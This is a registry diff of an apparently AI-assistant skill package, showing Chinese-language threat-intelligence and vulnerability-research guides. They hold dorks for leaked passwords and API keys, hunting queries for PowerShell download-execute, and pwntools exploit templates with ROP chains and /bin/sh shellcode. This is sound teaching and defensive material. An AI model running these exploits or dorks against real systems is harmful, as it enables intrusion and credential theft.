code-abyss 1.5.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (64) hide show
  1. package/LICENSE +21 -0
  2. package/README.md +197 -0
  3. package/bin/install.js +193 -0
  4. package/bin/uninstall.js +42 -0
  5. package/config/AGENTS.md +247 -0
  6. package/config/CLAUDE.md +207 -0
  7. package/config/settings.example.json +27 -0
  8. package/output-styles/abyss-cultivator.md +399 -0
  9. package/package.json +41 -0
  10. package/skills/SKILL.md +115 -0
  11. package/skills/ai/SKILL.md +29 -0
  12. package/skills/ai/agent-dev.md +242 -0
  13. package/skills/ai/llm-security.md +288 -0
  14. package/skills/architecture/SKILL.md +41 -0
  15. package/skills/architecture/api-design.md +225 -0
  16. package/skills/architecture/caching.md +299 -0
  17. package/skills/architecture/cloud-native.md +285 -0
  18. package/skills/architecture/compliance.md +299 -0
  19. package/skills/architecture/data-security.md +184 -0
  20. package/skills/architecture/message-queue.md +329 -0
  21. package/skills/architecture/security-arch.md +210 -0
  22. package/skills/development/SKILL.md +43 -0
  23. package/skills/development/cpp.md +246 -0
  24. package/skills/development/go.md +323 -0
  25. package/skills/development/java.md +277 -0
  26. package/skills/development/python.md +288 -0
  27. package/skills/development/rust.md +313 -0
  28. package/skills/development/shell.md +313 -0
  29. package/skills/development/typescript.md +277 -0
  30. package/skills/devops/SKILL.md +36 -0
  31. package/skills/devops/cost-optimization.md +272 -0
  32. package/skills/devops/database.md +217 -0
  33. package/skills/devops/devsecops.md +198 -0
  34. package/skills/devops/git-workflow.md +181 -0
  35. package/skills/devops/observability.md +280 -0
  36. package/skills/devops/performance.md +273 -0
  37. package/skills/devops/testing.md +186 -0
  38. package/skills/gen-docs/SKILL.md +114 -0
  39. package/skills/gen-docs/scripts/doc_generator.py +491 -0
  40. package/skills/multi-agent/SKILL.md +268 -0
  41. package/skills/run_skill.py +88 -0
  42. package/skills/security/SKILL.md +51 -0
  43. package/skills/security/blue-team.md +379 -0
  44. package/skills/security/code-audit.md +265 -0
  45. package/skills/security/pentest.md +226 -0
  46. package/skills/security/red-team.md +321 -0
  47. package/skills/security/threat-intel.md +322 -0
  48. package/skills/security/vuln-research.md +369 -0
  49. package/skills/tests/README.md +225 -0
  50. package/skills/tests/SUMMARY.md +362 -0
  51. package/skills/tests/__init__.py +3 -0
  52. package/skills/tests/test_change_analyzer.py +558 -0
  53. package/skills/tests/test_doc_generator.py +538 -0
  54. package/skills/tests/test_module_scanner.py +376 -0
  55. package/skills/tests/test_quality_checker.py +516 -0
  56. package/skills/tests/test_security_scanner.py +426 -0
  57. package/skills/verify-change/SKILL.md +138 -0
  58. package/skills/verify-change/scripts/change_analyzer.py +529 -0
  59. package/skills/verify-module/SKILL.md +125 -0
  60. package/skills/verify-module/scripts/module_scanner.py +321 -0
  61. package/skills/verify-quality/SKILL.md +158 -0
  62. package/skills/verify-quality/scripts/quality_checker.py +481 -0
  63. package/skills/verify-security/SKILL.md +141 -0
  64. package/skills/verify-security/scripts/security_scanner.py +368 -0
@@ -0,0 +1,322 @@
1
+ ---
2
+ name: threat-intel
3
+ description: 威胁情报。OSINT、威胁狩猎、情报分析、IOC管理。当用户提到威胁情报、OSINT、开源情报、威胁狩猎、IOC、TTP、ATT&CK时使用。
4
+ ---
5
+
6
+ # 👁 天眼秘典 · 威胁情报 (Threat Intelligence)
7
+
8
+
9
+ ## 情报层次
10
+
11
+ ```
12
+ ┌─────────────────────────────────────────────────────────────┐
13
+ │ 威胁情报金字塔 │
14
+ ├─────────────────────────────────────────────────────────────┤
15
+ │ 战略情报 │
16
+ │ (决策层/长期趋势) │
17
+ │ ───────────── │
18
+ │ 战术情报 │
19
+ │ (TTP/攻击手法) │
20
+ │ ───────────── │
21
+ │ 运营情报 │
22
+ │ (攻击活动/APT) │
23
+ │ ───────────── │
24
+ │ 技术情报 │
25
+ │ (IOC/IP/域名/Hash) │
26
+ └─────────────────────────────────────────────────────────────┘
27
+ ```
28
+
29
+ ## OSINT 信息收集
30
+
31
+ ### 域名/IP 情报
32
+ ```bash
33
+ # DNS 查询
34
+ dig +short example.com
35
+ dig +short -x 1.2.3.4
36
+ host example.com
37
+
38
+ # WHOIS
39
+ whois example.com
40
+ whois 1.2.3.4
41
+
42
+ # 子域名枚举
43
+ subfinder -d example.com
44
+ amass enum -d example.com
45
+ ```
46
+
47
+ ### 在线情报平台
48
+ ```yaml
49
+ IP/域名信誉:
50
+ - VirusTotal: https://www.virustotal.com
51
+ - AbuseIPDB: https://www.abuseipdb.com
52
+ - Shodan: https://www.shodan.io
53
+ - Censys: https://search.censys.io
54
+ - GreyNoise: https://www.greynoise.io
55
+
56
+ 恶意软件分析:
57
+ - Any.Run: https://any.run
58
+ - Hybrid Analysis: https://www.hybrid-analysis.com
59
+ - Joe Sandbox: https://www.joesandbox.com
60
+ - MalwareBazaar: https://bazaar.abuse.ch
61
+
62
+ 威胁情报:
63
+ - AlienVault OTX: https://otx.alienvault.com
64
+ - MISP: https://www.misp-project.org
65
+ - ThreatFox: https://threatfox.abuse.ch
66
+ ```
67
+
68
+ ### 搜索引擎 Dorking
69
+ ```
70
+ # Google Dorks
71
+ site:example.com filetype:pdf
72
+ site:example.com inurl:admin
73
+ site:example.com intitle:"index of"
74
+ "password" filetype:log site:example.com
75
+
76
+ # Shodan
77
+ hostname:example.com
78
+ org:"Target Company"
79
+ ssl.cert.subject.cn:example.com
80
+ http.title:"Dashboard"
81
+
82
+ # Censys
83
+ services.http.response.html_title:"Admin"
84
+ services.tls.certificates.leaf.subject.common_name:example.com
85
+ ```
86
+
87
+ ### 社交媒体情报
88
+ ```yaml
89
+ 平台:
90
+ - LinkedIn: 员工信息、组织架构
91
+ - GitHub: 代码泄露、API密钥
92
+ - Twitter: 安全事件、漏洞披露
93
+ - Pastebin: 数据泄露
94
+
95
+ GitHub Dorks:
96
+ - "example.com" password
97
+ - "example.com" api_key
98
+ - "example.com" secret
99
+ - org:example filename:.env
100
+ ```
101
+
102
+ ## IOC 管理
103
+
104
+ ### IOC 类型
105
+ ```yaml
106
+ 网络层:
107
+ - IP 地址
108
+ - 域名
109
+ - URL
110
+ - User-Agent
111
+
112
+ 主机层:
113
+ - 文件 Hash (MD5/SHA1/SHA256)
114
+ - 文件路径
115
+ - 注册表键
116
+ - 进程名
117
+
118
+ 行为层:
119
+ - YARA 规则
120
+ - Sigma 规则
121
+ - Snort 规则
122
+ ```
123
+
124
+ ### IOC 格式 (STIX/TAXII)
125
+ ```json
126
+ {
127
+ "type": "indicator",
128
+ "id": "indicator--xxx",
129
+ "created": "2024-01-01T00:00:00.000Z",
130
+ "pattern": "[file:hashes.SHA256 = 'abc123...']",
131
+ "pattern_type": "stix",
132
+ "valid_from": "2024-01-01T00:00:00.000Z",
133
+ "labels": ["malicious-activity"],
134
+ "kill_chain_phases": [{
135
+ "kill_chain_name": "mitre-attack",
136
+ "phase_name": "execution"
137
+ }]
138
+ }
139
+ ```
140
+
141
+ ### IOC 自动化查询
142
+ ```python
143
+ #!/usr/bin/env python3
144
+ """IOC 批量查询"""
145
+ import requests
146
+
147
+ class IOCChecker:
148
+ def __init__(self, vt_api_key):
149
+ self.vt_key = vt_api_key
150
+
151
+ def check_hash(self, file_hash):
152
+ """VirusTotal Hash 查询"""
153
+ url = f"https://www.virustotal.com/api/v3/files/{file_hash}"
154
+ headers = {"x-apikey": self.vt_key}
155
+ resp = requests.get(url, headers=headers)
156
+ if resp.status_code == 200:
157
+ data = resp.json()
158
+ stats = data['data']['attributes']['last_analysis_stats']
159
+ return {
160
+ 'malicious': stats['malicious'],
161
+ 'suspicious': stats['suspicious'],
162
+ 'harmless': stats['harmless']
163
+ }
164
+ return None
165
+
166
+ def check_ip(self, ip):
167
+ """AbuseIPDB 查询"""
168
+ url = "https://api.abuseipdb.com/api/v2/check"
169
+ params = {"ipAddress": ip, "maxAgeInDays": 90}
170
+ # 需要 API Key
171
+ pass
172
+
173
+ def check_domain(self, domain):
174
+ """域名信誉查询"""
175
+ pass
176
+ ```
177
+
178
+ ## ATT&CK 映射
179
+
180
+ ### TTP 分析
181
+ ```yaml
182
+ # 攻击者画像
183
+ APT_Profile:
184
+ name: "APT-XX"
185
+ aliases: ["Group A", "Group B"]
186
+ targets:
187
+ - 金融行业
188
+ - 政府机构
189
+ techniques:
190
+ initial_access:
191
+ - T1566.001: Spearphishing Attachment
192
+ - T1566.002: Spearphishing Link
193
+ execution:
194
+ - T1059.001: PowerShell
195
+ - T1059.003: Windows Command Shell
196
+ persistence:
197
+ - T1547.001: Registry Run Keys
198
+ - T1053.005: Scheduled Task
199
+ c2:
200
+ - T1071.001: Web Protocols
201
+ - T1573.001: Encrypted Channel
202
+ tools:
203
+ - Cobalt Strike
204
+ - Mimikatz
205
+ - Custom Malware
206
+ ```
207
+
208
+ ### ATT&CK Navigator
209
+ ```python
210
+ # 生成 ATT&CK Navigator 层
211
+ def generate_navigator_layer(techniques):
212
+ layer = {
213
+ "name": "Threat Actor Coverage",
214
+ "versions": {"attack": "13", "navigator": "4.8"},
215
+ "domain": "enterprise-attack",
216
+ "techniques": []
217
+ }
218
+
219
+ for tech_id, score in techniques.items():
220
+ layer["techniques"].append({
221
+ "techniqueID": tech_id,
222
+ "score": score,
223
+ "color": "#ff6666" if score > 50 else "#ffcc66"
224
+ })
225
+
226
+ return layer
227
+ ```
228
+
229
+ ## 威胁狩猎
230
+
231
+ ### 狩猎流程
232
+ ```
233
+ 假设生成 → 数据收集 → 分析调查 → 发现验证 → 知识沉淀
234
+ │ │ │ │ │
235
+ └─ ATT&CK ──┴─ SIEM ────┴─ 查询 ────┴─ IOC ────┴─ 规则
236
+ ```
237
+
238
+ ### 狩猎假设模板
239
+ ```yaml
240
+ hypothesis: "攻击者可能通过 PowerShell 下载执行恶意代码"
241
+ technique: T1059.001
242
+ data_sources:
243
+ - Windows PowerShell 日志 (4103, 4104)
244
+ - Sysmon 进程创建 (Event ID 1)
245
+ query: |
246
+ EventID=4104 AND ScriptBlockText CONTAINS
247
+ ("IEX" OR "Invoke-Expression" OR "DownloadString" OR "Net.WebClient")
248
+ expected_results:
249
+ - 可疑脚本块
250
+ - 外部 URL 下载
251
+ - 编码命令
252
+ response:
253
+ - 隔离主机
254
+ - 提取样本
255
+ - 扩展狩猎
256
+ ```
257
+
258
+ ### 狩猎查询库
259
+ ```sql
260
+ -- 异常 PowerShell 执行
261
+ SELECT timestamp, hostname, user, command_line
262
+ FROM process_events
263
+ WHERE process_name = 'powershell.exe'
264
+ AND (command_line LIKE '%IEX%'
265
+ OR command_line LIKE '%DownloadString%'
266
+ OR command_line LIKE '%-enc%')
267
+
268
+ -- 异常网络连接
269
+ SELECT timestamp, process_name, remote_address, remote_port
270
+ FROM network_events
271
+ WHERE remote_port NOT IN (80, 443, 53, 22)
272
+ AND remote_address NOT LIKE '10.%'
273
+ AND remote_address NOT LIKE '192.168.%'
274
+
275
+ -- 可疑文件创建
276
+ SELECT timestamp, process_name, file_path
277
+ FROM file_events
278
+ WHERE file_path LIKE '%\Temp\%'
279
+ AND file_path LIKE '%.exe'
280
+ AND process_name IN ('powershell.exe', 'cmd.exe', 'wscript.exe')
281
+ ```
282
+
283
+ ## 情报共享
284
+
285
+ ### MISP 集成
286
+ ```python
287
+ from pymisp import PyMISP
288
+
289
+ misp = PyMISP(url, key, ssl=False)
290
+
291
+ # 创建事件
292
+ event = misp.new_event(
293
+ distribution=0,
294
+ info="Phishing Campaign 2024-01",
295
+ analysis=2,
296
+ threat_level_id=2
297
+ )
298
+
299
+ # 添加 IOC
300
+ misp.add_attribute(event, type='ip-dst', value='1.2.3.4')
301
+ misp.add_attribute(event, type='domain', value='malicious.com')
302
+ misp.add_attribute(event, type='sha256', value='abc123...')
303
+
304
+ # 添加标签
305
+ misp.tag(event, 'tlp:amber')
306
+ misp.tag(event, 'misp-galaxy:mitre-attack-pattern="T1566"')
307
+ ```
308
+
309
+ ## 工具清单
310
+
311
+ | 工具 | 用途 |
312
+ |------|------|
313
+ | MISP | 威胁情报平台 |
314
+ | OpenCTI | 威胁情报管理 |
315
+ | TheHive | 事件响应平台 |
316
+ | Maltego | 关系分析 |
317
+ | Shodan | 网络空间搜索 |
318
+ | VirusTotal | 恶意软件分析 |
319
+ | ATT&CK Navigator | TTP 可视化 |
320
+
321
+ ---
322
+
@@ -0,0 +1,369 @@
1
+ ---
2
+ name: vuln-research
3
+ description: 漏洞研究。二进制分析、逆向工程、Exploit开发、Fuzzing。当用户提到漏洞研究、二进制、逆向、Exploit、Fuzzing、PWN、栈溢出、堆溢出时使用。
4
+ ---
5
+
6
+ # 🔥 赤焰秘典 · 漏洞研究 (Vulnerability Research)
7
+
8
+
9
+ ## 研究流程
10
+
11
+ ```
12
+ 目标分析 → 逆向工程 → 漏洞发现 → Exploit开发 → 报告/披露
13
+ │ │ │ │ │
14
+ └─ 架构 ────┴─ IDA ─────┴─ Fuzz ────┴─ PoC ────┴─ CVE
15
+ ```
16
+
17
+ ## 逆向工程
18
+
19
+ ### 静态分析
20
+ ```bash
21
+ # 文件信息
22
+ file binary
23
+ strings binary | grep -i password
24
+ readelf -h binary
25
+ objdump -d binary
26
+
27
+ # IDA Pro / Ghidra
28
+ # 反汇编、反编译、交叉引用分析
29
+ ```
30
+
31
+ ### 动态分析
32
+ ```bash
33
+ # GDB 调试
34
+ gdb ./binary
35
+ (gdb) break main
36
+ (gdb) run
37
+ (gdb) disas
38
+ (gdb) x/20x $esp
39
+ (gdb) info registers
40
+
41
+ # strace/ltrace
42
+ strace ./binary
43
+ ltrace ./binary
44
+
45
+ # GDB 增强
46
+ # pwndbg / GEF / peda
47
+ ```
48
+
49
+ ### 常用工具
50
+ ```yaml
51
+ 反汇编/反编译:
52
+ - IDA Pro: 商业,最强大
53
+ - Ghidra: 开源,NSA出品
54
+ - Binary Ninja: 现代化
55
+ - Radare2: 开源命令行
56
+
57
+ 调试器:
58
+ - GDB + pwndbg/GEF
59
+ - x64dbg (Windows)
60
+ - WinDbg (Windows内核)
61
+ - LLDB (macOS)
62
+
63
+ 辅助工具:
64
+ - ROPgadget: ROP链构造
65
+ - one_gadget: libc gadget
66
+ - patchelf: ELF修改
67
+ - checksec: 安全机制检查
68
+ ```
69
+
70
+ ## 漏洞类型
71
+
72
+ ### 栈溢出
73
+ ```c
74
+ // 漏洞代码
75
+ void vulnerable(char *input) {
76
+ char buffer[64];
77
+ strcpy(buffer, input); // 无边界检查
78
+ }
79
+
80
+ // 利用思路
81
+ // 1. 覆盖返回地址
82
+ // 2. 跳转到 shellcode 或 ROP 链
83
+ ```
84
+
85
+ ```python
86
+ # Exploit 模板
87
+ from pwn import *
88
+
89
+ context.arch = 'amd64'
90
+ p = process('./vuln')
91
+
92
+ # 构造 payload
93
+ padding = b'A' * 72 # 填充到返回地址
94
+ ret_addr = p64(0x401234) # 目标地址
95
+
96
+ payload = padding + ret_addr
97
+ p.sendline(payload)
98
+ p.interactive()
99
+ ```
100
+
101
+ ### 堆溢出
102
+ ```c
103
+ // 漏洞代码
104
+ struct chunk {
105
+ char data[32];
106
+ void (*func_ptr)();
107
+ };
108
+
109
+ void vulnerable(char *input) {
110
+ struct chunk *c = malloc(sizeof(struct chunk));
111
+ strcpy(c->data, input); // 溢出覆盖 func_ptr
112
+ c->func_ptr();
113
+ }
114
+ ```
115
+
116
+ ### Use-After-Free
117
+ ```c
118
+ // 漏洞代码
119
+ void vulnerable() {
120
+ char *ptr = malloc(64);
121
+ free(ptr);
122
+ // ptr 未置空
123
+ strcpy(ptr, user_input); // UAF
124
+ }
125
+ ```
126
+
127
+ ### 格式化字符串
128
+ ```c
129
+ // 漏洞代码
130
+ void vulnerable(char *input) {
131
+ printf(input); // 格式化字符串漏洞
132
+ }
133
+
134
+ // 利用
135
+ // %x - 泄露栈数据
136
+ // %n - 任意写
137
+ // %s - 任意读
138
+ ```
139
+
140
+ ## 保护机制绕过
141
+
142
+ ### 检查保护
143
+ ```bash
144
+ checksec ./binary
145
+ # RELRO, Stack Canary, NX, PIE, FORTIFY
146
+ ```
147
+
148
+ ### 绕过技术
149
+ ```yaml
150
+ NX (不可执行):
151
+ - ROP (Return Oriented Programming)
152
+ - ret2libc
153
+ - ret2syscall
154
+
155
+ ASLR (地址随机化):
156
+ - 信息泄露
157
+ - 暴力破解 (32位)
158
+ - 部分覆盖
159
+
160
+ Stack Canary:
161
+ - 信息泄露
162
+ - 逐字节爆破
163
+ - 覆盖 __stack_chk_fail
164
+
165
+ PIE (位置无关):
166
+ - 信息泄露基址
167
+ - 部分覆盖
168
+
169
+ RELRO:
170
+ - Partial: 覆盖 GOT
171
+ - Full: 其他利用方式
172
+ ```
173
+
174
+ ### ROP 链构造
175
+ ```python
176
+ from pwn import *
177
+
178
+ elf = ELF('./vuln')
179
+ libc = ELF('./libc.so.6')
180
+ rop = ROP(elf)
181
+
182
+ # 泄露 libc 地址
183
+ rop.puts(elf.got['puts'])
184
+ rop.main()
185
+
186
+ # 计算 libc 基址
187
+ libc_base = leaked_puts - libc.symbols['puts']
188
+ system = libc_base + libc.symbols['system']
189
+ bin_sh = libc_base + next(libc.search(b'/bin/sh'))
190
+
191
+ # 第二阶段 ROP
192
+ rop2 = ROP(libc)
193
+ rop2.system(bin_sh)
194
+ ```
195
+
196
+ ## Fuzzing
197
+
198
+ ### AFL++
199
+ ```bash
200
+ # 编译插桩
201
+ afl-gcc -o target_afl target.c
202
+
203
+ # 准备种子
204
+ mkdir input output
205
+ echo "seed" > input/seed
206
+
207
+ # 开始 Fuzz
208
+ afl-fuzz -i input -o output -- ./target_afl @@
209
+
210
+ # 分析崩溃
211
+ afl-tmin -i output/crashes/id:000000 -o minimized -- ./target_afl @@
212
+ ```
213
+
214
+ ### LibFuzzer
215
+ ```cpp
216
+ // fuzz_target.cpp
217
+ extern "C" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {
218
+ // 调用被测函数
219
+ parse_input(data, size);
220
+ return 0;
221
+ }
222
+ ```
223
+
224
+ ```bash
225
+ # 编译
226
+ clang++ -fsanitize=fuzzer,address fuzz_target.cpp -o fuzzer
227
+
228
+ # 运行
229
+ ./fuzzer corpus/
230
+ ```
231
+
232
+ ### 智能 Fuzzing
233
+ ```python
234
+ # 基于覆盖率的 Fuzzing
235
+ # 使用 AFL、LibFuzzer 等
236
+
237
+ # 基于语法的 Fuzzing
238
+ # 使用 Peach、Domato 等
239
+
240
+ # 符号执行辅助
241
+ # 使用 KLEE、angr 等
242
+ ```
243
+
244
+ ## Exploit 开发
245
+
246
+ ### Shellcode
247
+ ```python
248
+ # pwntools 生成
249
+ from pwn import *
250
+ context.arch = 'amd64'
251
+
252
+ # execve("/bin/sh", NULL, NULL)
253
+ shellcode = asm(shellcraft.sh())
254
+
255
+ # 自定义 shellcode
256
+ shellcode = asm('''
257
+ xor rdi, rdi
258
+ push rdi
259
+ mov rdi, 0x68732f6e69622f
260
+ push rdi
261
+ mov rdi, rsp
262
+ xor rsi, rsi
263
+ xor rdx, rdx
264
+ mov al, 59
265
+ syscall
266
+ ''')
267
+ ```
268
+
269
+ ### 完整 Exploit 模板
270
+ ```python
271
+ #!/usr/bin/env python3
272
+ from pwn import *
273
+
274
+ context.arch = 'amd64'
275
+ context.log_level = 'debug'
276
+
277
+ # 配置
278
+ binary = './vuln'
279
+ libc_path = './libc.so.6'
280
+ host, port = 'target.com', 1337
281
+
282
+ # 加载
283
+ elf = ELF(binary)
284
+ libc = ELF(libc_path)
285
+
286
+ def exploit(p):
287
+ # 1. 泄露地址
288
+ payload1 = b'A' * 72
289
+ payload1 += p64(elf.plt['puts'])
290
+ payload1 += p64(elf.got['puts'])
291
+ payload1 += p64(elf.symbols['main'])
292
+
293
+ p.sendline(payload1)
294
+ leaked = u64(p.recvline().strip().ljust(8, b'\x00'))
295
+ libc_base = leaked - libc.symbols['puts']
296
+ log.success(f"libc base: {hex(libc_base)}")
297
+
298
+ # 2. 获取 shell
299
+ system = libc_base + libc.symbols['system']
300
+ bin_sh = libc_base + next(libc.search(b'/bin/sh'))
301
+
302
+ payload2 = b'A' * 72
303
+ payload2 += p64(libc_base + 0x4f3d5) # one_gadget
304
+
305
+ p.sendline(payload2)
306
+ p.interactive()
307
+
308
+ if __name__ == '__main__':
309
+ if args.REMOTE:
310
+ p = remote(host, port)
311
+ else:
312
+ p = process(binary)
313
+ exploit(p)
314
+ ```
315
+
316
+ ## CTF PWN 技巧
317
+
318
+ ### 常见题型
319
+ ```yaml
320
+ 栈溢出:
321
+ - ret2text: 跳转到后门函数
322
+ - ret2shellcode: 跳转到 shellcode
323
+ - ret2libc: 调用 system("/bin/sh")
324
+ - ROP: 构造 ROP 链
325
+
326
+ 堆利用:
327
+ - fastbin attack
328
+ - unsorted bin attack
329
+ - tcache poisoning
330
+ - house of 系列
331
+
332
+ 格式化字符串:
333
+ - 泄露栈/libc地址
334
+ - 任意写 GOT
335
+ - 修改返回地址
336
+ ```
337
+
338
+ ### 快速解题流程
339
+ ```bash
340
+ # 1. 检查保护
341
+ checksec ./pwn
342
+
343
+ # 2. 运行测试
344
+ ./pwn
345
+
346
+ # 3. 反编译分析
347
+ # IDA/Ghidra
348
+
349
+ # 4. 确定漏洞点
350
+ # 5. 编写 Exploit
351
+ # 6. 本地测试
352
+ # 7. 远程利用
353
+ ```
354
+
355
+ ## 工具清单
356
+
357
+ | 工具 | 用途 |
358
+ |------|------|
359
+ | IDA Pro | 反汇编/反编译 |
360
+ | Ghidra | 开源逆向 |
361
+ | pwntools | Exploit 开发 |
362
+ | GDB + pwndbg | 调试 |
363
+ | AFL++ | Fuzzing |
364
+ | ROPgadget | ROP 链 |
365
+ | one_gadget | libc gadget |
366
+ | angr | 符号执行 |
367
+
368
+ ---
369
+